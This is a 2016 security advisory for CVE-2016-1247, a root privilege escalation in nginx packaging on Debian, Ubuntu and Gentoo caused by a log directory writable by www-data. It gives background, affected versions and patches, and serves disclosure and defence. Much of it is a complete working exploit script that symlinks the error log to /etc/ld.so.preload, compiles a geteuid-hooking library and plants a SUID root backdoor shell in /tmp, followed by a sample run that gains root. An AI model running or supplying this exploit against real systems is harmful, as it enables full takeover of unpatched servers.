============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-1247 - Release date: 15.11.2016 - Last update: 11.01.2017 - Revision 2.0 - Severity: High ============================================= I. VULNERABILITY ------------------------- Nginx (Debian-based + Gentoo distros) - Root Privilege Escalation Fixed in 1.6.2-5+deb8u3 package on Debian, and 1.10.0-0ubuntu0.16.04.3 on Ubuntu 16.04 LTS Gentoo is also affected: nginx < 1.10.2-r3 II. BACKGROUND ------------------------- "nginx [engine x] is an HTTP and reverse proxy server, a mail proxy server, and a generic TCP/UDP proxy server, originally written by Igor Sysoev. For a long time, it has been running on many heavily loaded Russian sites including Yandex, Mail.Ru, VK, and Rambler. According to Netcraft, nginx served or proxied 27.80% busiest sites in October 2016. Here are some of the success stories: Netflix, Wordpress.com, FastMail.FM." https://nginx.org/en/ III. INTRODUCTION ------------------------- Nginx web server packaging on Debian-based distributions such as Debian or Ubuntu was found to create log directories with insecure permissions which can be exploited by malicious local attackers to escalate their privileges from nginx/web user (www-data) to root. The vulnerability could be easily exploited by attackers who have managed to compromise a web application hosted on Nginx server and gained access to www-data account as it would allow them to escalate their privileges further to root access and fully compromise the system. Update 11.01.2017: Gentoo and its nginx packages were also found affected by this vulnerability: https://security.gentoo.org/glsa/201701-22 IV. DESCRIPTION ------------------------- Nginx installed from default repositories on Debian-based systems (Debian, Ubuntu etc.) create nginx log directory at the following location and with the following permissions: root@xenial:~# ls -ld /var/log/nginx/ drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/ root@xenial:~# ls -ld /var/log/nginx/* -rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log -rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log As the /var/log/nginx directory is owned by www-data, it is possible for local attackers who have gained access to the system through a vulnerability in a web application running on Nginx (or the server itself) to replace the log files with a symlink to an arbitrary file. Upon nginx startup/restart the logs would be written to the file pointed to by the symlink. This allows attackers to escalate privileges to root. Attackers who have managed to replace the log file with a symlink would have to wait for nginx daemon to re-open the log files. For this to happen nginx service needs to be restarted, or the daemon needs to receive a USR1 process signal. However, the USR1 is sent automatically on default installations of Debian-based systems through logrotate script which calls do_rotate() function as can be seen in the files quoted below: --------[ /etc/logrotate.d/nginx ]-------- /var/log/nginx/*.log { daily missingok rotate 52 compress delaycompress notifempty create 0640 www-data adm sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then run-parts /etc/logrotate.d/httpd-prerotate; fi endscript postrotate invoke-rc.d nginx rotate >/dev/null 2>&1 endscript } ------------------------------------------ ----------[ /etc/init.d/nginx ]----------- [...] do_rotate() { start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME return 0 } [...] ----------------------------------------- The logrotation script is called daily by cron.daily on default Ubuntu/Debian installations at 6:25am every day. If /etc/logrotate.d/nginx has been set to rotate logs 'daily' then attacker could gain root privileges within 24h upon the next log rotation without any system admin interaction. V. PROOF OF CONCEPT EXPLOIT ------------------------- ------------[ nginxed-root.sh ]-------------- #!/bin/bash # # Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit # nginxed-root.sh (ver. 1.0) # # CVE-2016-1247 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # --- # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu # as well as Gentoo etc.) to escalate their privileges from nginx web server user # (www-data) to root through unsafe error log handling. # # The exploit waits for Nginx server to be restarted or receive a USR1 signal. # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx) # script which is called daily by the cron.daily on default installations. # The restart should take place at 6:25am which is when cron.daily executes. # Attackers can therefore get a root shell automatically in 24h at most without any admin # interaction just by letting the exploit run till 6:25am assuming that daily logrotation # has been configured. # # # Exploit usage: # ./nginxed-root.sh path_to_nginx_error.log # # To trigger logrotation for testing the exploit, you can run the following command: # # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx # # See the full advisory for details at: # https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # Video PoC: # https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro cat <<_eascii_ _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- __---__ _- /--______ __--( / )XXXXXXXXXXXv. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX /XXXXX( )--_ XXXXXXXXXXX /XXXXX/ ( O ) XXXXXX XXXXX XXXXX/ / XXXXXX __ XXXXX XXXXXX__/ XXXXXX __----> ---___ XXX__/ XXXXXX __ / - --__/ ___/ XXXXXX / ___--/= - ___/ XXXXXX '--- XXXXXX -/XXX XXXXXX /XXXXX XXXXXXXXX /XXXXX/ XXXXXX > _/XXXXX/ XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m" id | grep -q www-data if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`" # Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am) echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..." while :; do sleep 1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ld.so.preload should be owned by www-data user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi rm -f $ERRORLOG echo > $ERRORLOG # Use the rootshell to perform cleanup that requires root privilges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" # Reset the logging to error.log $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`" # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -i # Job done. cleanexit 0 --------------------------------------------------- Example run ~~~~~~~~~~~~~ www-data@jessie:~/html/poc-app/uploads$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@jessie:~/html/poc-app/uploads$ dpkg -l | grep -i nginx ii nginx 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server ii nginx-common 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server - common files ii nginx-full 1.6.2-5+deb8u2+b1 amd64 nginx web/proxy server (standard version) www-data@jessie:~/html/poc-app/uploads$ ls -ld /var/log/nginx drwxr-x--- 2 www-data adm 4096 Nov 15 23:38 /var/log/nginx www-data@jessie:~/html/poc-app/uploads$ ./nginxed-root.sh /var/log/nginx/error.log _______________________________ < Is your server (N)jinxed ? ;o > ------------------------------- __---__ _- /--______ __--( / )XXXXXXXXXXXv. .-XXX( O O )XXXXXXXXXXXXXXX- /XXX( U ) XXXXXXX /XXXXX( )--_ XXXXXXXXXXX /XXXXX/ ( O ) XXXXXX XXXXX XXXXX/ / XXXXXX __ XXXXX XXXXXX__/ XXXXXX __----> ---___ XXX__/ XXXXXX __ / - --__/ ___/ XXXXXX / ___--/= - ___/ XXXXXX '--- XXXXXX -/XXX XXXXXX /XXXXX XXXXXXXXX /XXXXX/ XXXXXX > _/XXXXX/ XXXXX--__/ __-- XXXX/ -XXXXXXXX--------------- XXXXXX- XXXXXXXXXXXXXXXXXXXXXXXXXX/ ""VXXXXXXXXXXXXXXXXXXV"" Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) nginxed-root.sh (ver. 1.0) Discovered and coded by: Dawid Golunski https://legalhackers.com [+] Starting the exploit as: uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 www-data www-data 1029624 Nov 15 23:54 /tmp/nginxrootsh [+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx 1 www-data www-data 18 Nov 15 23:54 /var/log/nginx/error.log -> /etc/ld.so.preload [+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am... [+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: -rw-r--r-- 1 www-data root 19 Nov 15 23:55 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh The server is (N)jinxed ! ;) Got root via Nginx! [+] Spawning the rootshell /tmp/nginxrootsh now! nginxrootsh-4.3# id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) nginxrootsh-4.3# whoami root Note: You can force log rotation during testing with: logrotate -f /etc/logrotate.d/nginx Video PoC: ~~~~~~~~~~~~~ https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html VI. BUSINESS IMPACT ------------------------- An attacker who has managed to exploit a vulnerable web application could use the vulnerability to escalate their privileges to root. VII. SYSTEMS AFFECTED ------------------------- Debian: Fixed in Nginx 1.6.2-5+deb8u3 Ubuntu: Fixed in the following updated Nginx package versions on Ubuntu: Ubuntu 16.04 LTS: 1.10.0-0ubuntu0.16.04.3 Ubuntu 14.04 LTS: 1.4.6-1ubuntu3.6 Ubuntu 16.10: 1.10.1-0ubuntu1.1 Gentoo Package www-servers/nginx on all architectures < 1.10.2-r3 https://security.gentoo.org/glsa/201701-22 VIII. SOLUTION ------------------------- Vendors were sent this advisory in advance and released patches prior to the publication of the exploit. Update to the latest nginx packages on your distribution. https://www.debian.org/security/2016/dsa-3701 https://www.ubuntu.com/usn/usn-3114-1/ IX. REFERENCES ------------------------- https://legalhackers.com This advisory: https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html Exploit code: https://legalhackers.com/exploits/CVE-2016-1247/nginxed-root.sh CVE-2016-1247: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1247 Video PoC: https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html Debian security: https://www.debian.org/security/2016/dsa-3701 https://security-tracker.debian.org/tracker/CVE-2016-1247 Ubuntu security: https://www.ubuntu.com/usn/usn-3114-1/ Gentoo security advisory (also affected): https://security.gentoo.org/glsa/201701-22 X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com https://legalhackers.com XI. REVISION HISTORY ------------------------- 11.01.2017 - Advisory updated to include Gentoo distro which is also affected 15.11.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.